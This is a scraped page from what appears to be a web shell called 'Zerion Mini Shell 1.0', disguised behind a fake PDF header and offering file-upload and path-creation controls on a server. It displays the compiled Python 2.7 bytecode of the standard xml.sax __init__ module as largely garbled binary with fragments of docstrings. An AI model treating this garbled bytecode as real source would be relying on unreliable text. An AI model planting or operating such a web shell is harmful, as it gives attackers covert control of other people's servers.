%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/xml/sax/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/xml/sax/__init__.pyc

ó
Pęáac@sjdZddlmZddlmZmZddlmZmZm	Z	m
Z
mZeƒd„Zeƒd„Z
dgZdZer–dd	lZndd	lZdd	lZejjrăd
ejkrăejd
jdƒZn[dZejd
 dkr/ejjeƒr/ejjeƒjdƒZngd„Zejd
 dkrZd„Zn	d„Z[d	S(sŰSimple API for XML (SAX) implementation for Python.

This module provides an implementation of the SAX 2 interface;
information about the Java version of the interface can be found at
http://www.megginson.com/SAX/.  The Python version of the interface is
documented at <...>.

This package contains the following modules:

handler -- Base classes and constants which define the SAX 2 API for
           the 'client-side' of SAX for Python.

saxutils -- Implementation of the convenience classes commonly used to
            work with SAX.

xmlreader -- Base classes and constants which define the SAX 2 API for
             the parsers used with SAX for Python.

expatreader -- Driver that allows use of the Expat parser with SAX.
i˙˙˙˙(tInputSource(tContentHandlertErrorHandler(tSAXExceptiontSAXNotRecognizedExceptiontSAXParseExceptiontSAXNotSupportedExceptiontSAXReaderNotAvailablecCs4tƒ}|j|ƒ|j|ƒ|j|ƒdS(N(tmake_parsertsetContentHandlertsetErrorHandlertparse(tsourcethandlerterrorHandlertparser((s,/usr/local/lib/python2.7/xml/sax/__init__.pyRs	

cCs yddlm}Wn!tk
r7ddlm}nX|dkrPtƒ}ntƒ}|j|ƒ|j|ƒtƒ}|j	||ƒƒ|j
|ƒdS(Ni˙˙˙˙(tStringIO(t	cStringIORtImportErrortNoneRRR	R
Rt
setByteStreamR(tstringR
RRRtinpsrc((s,/usr/local/lib/python2.7/xml/sax/__init__.pytparseString#s
	

	sxml.sax.expatreaderiNt
PY_SAX_PARSERt,spython.xml.sax.parseritjavacCs}xg|tD][}yt|ƒSWqtk
rU}ddl}||jkrf‚qfqtk
reqXqWtddƒ‚dS(s&Creates and returns a SAX parser.

    Creates the first parser it is able to instantiate of the ones
    given in the list created by doing parser_list +
    default_parser_list.  The lists must contain the names of Python
    modules containing both a SAX parser and a create_parser function.i˙˙˙˙NsNo parsers found(tdefault_parser_listt_create_parserRtsystmodulesRR(tparser_listtparser_nameteR((s,/usr/local/lib/python2.7/xml/sax/__init__.pyRGs	
cCs2ddlm}|j|dtƒƒ}|jƒS(Ni˙˙˙˙(timpi(torg.python.coreR"t
importNametglobalst
create_parser(R R"t
drv_module((s,/usr/local/lib/python2.7/xml/sax/__init__.pyRbscCs"t|iidgƒ}|jƒS(NR&(t
__import__R&(R R'((s,/usr/local/lib/python2.7/xml/sax/__init__.pyRhs(t__doc__t	xmlreaderRR
RRt_exceptionsRRRRRRRRt_falsetxml.sax.expatreadertxmltosRtflagstignore_environmenttenvirontsplitt_keytplatformtregistrytcontainsKeytgetPropertyRR(((s,/usr/local/lib/python2.7/xml/sax/__init__.pyt<module>s*(	%	

Zerion Mini Shell 1.0